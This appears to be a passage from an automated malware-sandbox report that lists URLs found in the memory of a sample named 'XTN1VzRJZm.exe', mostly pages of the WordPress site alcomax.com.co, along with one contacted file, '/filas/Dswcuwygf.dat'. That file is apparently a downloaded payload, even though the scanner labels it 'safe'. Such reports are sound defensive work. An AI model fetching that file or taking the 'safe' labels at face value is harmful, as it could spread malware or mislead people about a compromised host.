Source	Detection	Scanner	Label
https://alcomax.com.co$m	0%	Avira URL Cloud	safe
https://alcomax.com.co#	0%	Avira URL Cloud	safe
https://alcomax.com.co/a	0%	Avira URL Cloud	safe
https://alcomax.com.co	0%	Avira URL Cloud	safe
https://alcomax.com.co/filas/Dswcuwygf.dat$	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/customscript.js?ver=1.1.1	0%	Avira URL Cloud	safe
https://alcomax.com.coZ	0%	Avira URL Cloud	safe
https://alcomax.com.co/luxometros/	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.7	0%	Avira URL Cloud	safe
https://alcomax.com.cof	0%	Avira URL Cloud	safe
https://alcomax.com.co/auto-rescatadores/	0%	Avira URL Cloud	safe
https://alcomax.com.co/conocenos-alcomax/	0%	Avira URL Cloud	safe
http://alcomax.com.cod	0%	Avira URL Cloud	safe
https://alcomax.com.co/geofonos-detectores-fugas-de-agua/	0%	Avira URL Cloud	safe
https://alcomax.com.coQ	0%	Avira URL Cloud	safe
https://alcomax.com.co/servicios-para-equipos-de-medicion/	0%	Avira URL Cloud	safe
https://alcomax.com.coFB	0%	Avira URL Cloud	safe
https://alcomax.com.co/contactenos/	0%	Avira URL Cloud	safe
https://alcomax.com.coW	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/bootstrap.min.js?ver=3.3.7	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5	0%	Avira URL Cloud	safe
https://alcomax.com.coK0	0%	Avira URL Cloud	safe
https://alcomax.com.co$N	0%	Avira URL Cloud	safe
https://alcomax.com.coD	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5.2.21	0%	Avira URL Cloud	safe
https://alcomax.com.co/detectores-de-gases/	0%	Avira URL Cloud	safe
https://alcomax.com.co/pruebas-de-drogas/	0%	Avira URL Cloud	safe
https://alcomax.com.co?n/3	0%	Avira URL Cloud	safe
https://alcomax.com.co:	0%	Avira URL Cloud	safe
https://alcomax.com.co/sonometros/	0%	Avira URL Cloud	safe
https://alcomax.com.co/filas/Dswcuwygf.dat	0%	Avira URL Cloud	safe
https://alcomax.com.co3	0%	Avira URL Cloud	safe
https://alcomax.com.cou	0%	Avira URL Cloud	safe
https://alcomax.com.cox%Z	0%	Avira URL Cloud	safe
https://alcomax.com.co/alcoholimetros/	0%	Avira URL Cloud	safe
http://alcomax.com.co	0%	Avira URL Cloud	safe
https://envothemes.com/	0%	Avira URL Cloud	safe
https://alcomax.com.coN4	0%	Avira URL Cloud	safe
https://alcomax.com.co/wp-json/	0%	Avira URL Cloud	safe
https://alcomax.com.co/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
alcomax.com.co	204.44.192.90	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://alcomax.com.co/filas/Dswcuwygf.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://alcomax.com.co$m	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co#	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/filas/Dswcuwygf.dat$	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/customscript.js?ver=1.1.1	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.cof	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.7	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A8C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002903000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028E6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/a	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028CE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/luxometros/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coZ	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/auto-rescatadores/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.schema.org/SiteNavigationElement	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://alcomax.com.co/conocenos-alcomax/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://alcomax.com.cod	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/servicios-para-equipos-de-medicion/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.w.org/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002BBE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	false		high
https://alcomax.com.coQ	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/bootstrap.min.js?ver=3.3.7	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/geofonos-detectores-fugas-de-agua/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/contactenos/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 